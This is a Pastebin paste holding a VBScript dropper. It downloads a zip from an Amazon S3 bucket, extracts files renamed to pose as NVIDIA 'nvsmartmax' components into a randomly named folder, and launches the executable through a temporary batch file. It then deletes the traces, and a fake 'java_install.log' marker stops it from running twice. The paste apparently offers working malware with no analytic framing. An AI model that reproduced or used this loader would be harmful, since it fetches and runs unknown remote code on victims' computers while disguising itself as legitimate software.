Advertisement
Guest User

Untitled

a guest
Sep 3rd, 2018
374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim ubase, randname, exerandom, deffolder, filesuccess, filezip, fileexe, filedll
  2. Set objShell = CreateObject( "WScript.Shell" )
  3. ubase = "https://s3.us-east-2.amazonaws.com/barrigudos/OIUWER89SDFSDFWER3242.zip"
  4. randname = getrandomstring()
  5. exerandom = "nvsmartmaxapp" + "-" + randname
  6. filezip = "OIUWER89SDFSDFWER3242.zip"
  7. deffolder = "C:\NV_" + randname + "\"
  8. filesuccess = objShell.ExpandEnvironmentStrings("%TEMP%") + "\java_install.log"
  9. fileexe = "nvsmartmaxapp.exe"
  10. filedll = "nvsmartmax.sys"
  11. filezp2 = "wPPuoXS.zip"
  12. Set objFSO = CreateObject("Scripting.FileSystemObject")
  13.  
  14. If (objFSO.FileExists(filesuccess)) Then
  15.     WScript.Quit
  16. End If
  17.  
  18. If not (objFSO.FileExists(filezip)) Then
  19.     Set objFile = objFSO.CreateTextFile(filesuccess, True)
  20.     objFile.Write " "
  21.     objFile.Close
  22.     'WScript.Echo msg
  23.     dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  24.     dim bStrm: Set bStrm = createobject("Adodb.Stream")
  25.     xHttp.Open "GET", ubase, False
  26.         xHttp.Send
  27.     with bStrm
  28.         .type = 1
  29.         .open
  30.         .write xHttp.responseBody
  31.         .savetofile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip, 2
  32.     end with
  33.     WScript.Sleep 5000
  34.     set objShellApp = CreateObject("Shell.Application")
  35.     set FilesInZip=objShellApp.NameSpace(objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip).items
  36.     objShellApp.NameSpace(objShell.ExpandEnvironmentStrings("%TEMP%")).CopyHere(FilesInZip)
  37.     WScript.Sleep 5000
  38.     objFSO.DeleteFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezip
  39.     objFSO.CreateFolder deffolder
  40.     WScript.Sleep 3000
  41.     objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & fileexe, deffolder & exerandom & ".exe"
  42.     objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filedll, deffolder & "nvsmartmax.dll"
  43.     objFSO.MoveFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & filezp2, deffolder & filezp2
  44.     WScript.Sleep 5000
  45.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  46.     Set objShell = CreateObject( "WScript.Shell" )
  47.     outFile = objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat"
  48.     Set objFile = objFSO.CreateTextFile(outFile,True)
  49.     objFile.Write "@echo off" & vbCrLf
  50.     objFile.Write "@cd " & deffolder & vbCrLf
  51.     objFile.Write "start " & exerandom & ".exe" & vbCrLf
  52.     objFile.Close
  53.     objShell.Exec(objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat")
  54.     WScript.Sleep 10000
  55.     objFSO.DeleteFile objShell.ExpandEnvironmentStrings("%TEMP%") & "\" & randname & ".bat"
  56.     Set objShell = Nothing
  57.     Set objFSO = Nothing
  58.     Set objShellApp = Nothing
  59. End If
  60.  
  61. Function getrandomstring()
  62.     Dim intMax, k, intValue, strChar, strName
  63.     Const Chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
  64.     intMax = 6
  65.     Randomize()
  66.     strName = ""
  67.     For k = 1 To intMax
  68.         intValue = Fix(62 * Rnd())
  69.         strChar = Mid(Chars, intValue + 1, 1)
  70.         Randomize()
  71.         intValue = Fix(62 * Rnd())
  72.         strChar = strChar & Mid(Chars, intValue + 1, 1)
  73.         strName = strName & strChar
  74.         If (k < 6) Then
  75.             strName = strName & ""
  76.         End If
  77.     Next
  78.     getrandomstring = strName
  79. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement